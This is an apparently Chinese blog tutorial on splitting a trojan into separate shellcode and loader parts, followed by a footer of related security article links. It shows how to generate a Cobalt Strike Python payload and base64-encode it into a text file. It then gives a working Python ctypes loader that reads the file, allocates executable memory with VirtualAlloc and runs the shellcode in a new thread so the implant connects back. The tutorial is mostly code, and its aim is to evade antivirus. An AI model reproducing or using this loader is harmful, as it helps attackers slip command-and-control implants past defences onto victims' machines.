无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
denggun123459 小时前
ios开发逆向安全防抓包
安全·ios
shdwak....sad11 小时前
CVE-2025-41253复现
安全
AI_Auto13 小时前
智能制造- 安全标准(三)
安全·制造
SPIRT0015 小时前
信息收集系列一
安全
AI_Auto15 小时前
智能制造- 安全标准(二)
安全·制造
老赵聊算法、大模型备案15 小时前
《人工智能拟人化互动服务管理暂行办法(征求意见稿)》深度解读:AI“拟人”时代迎来首个专项监管框架
人工智能·算法·安全·aigc
深盾安全17 小时前
C++错误处理的现代化方式:深入理解std::error_code
安全
FreeBuf_17 小时前
“lc“键漏洞:LangChain高危缺陷(CVE-2025-68664)使提示注入攻击可窃取机密
安全·web安全·langchain
全知科技17 小时前
API安全国家标准发布丨《数据安全技术 数据接口安全风险监测方法》
大数据·人工智能·安全
白帽子黑客罗哥18 小时前
网络安全防护技术与实战策略:从基础防御到前沿应对
安全·web安全·php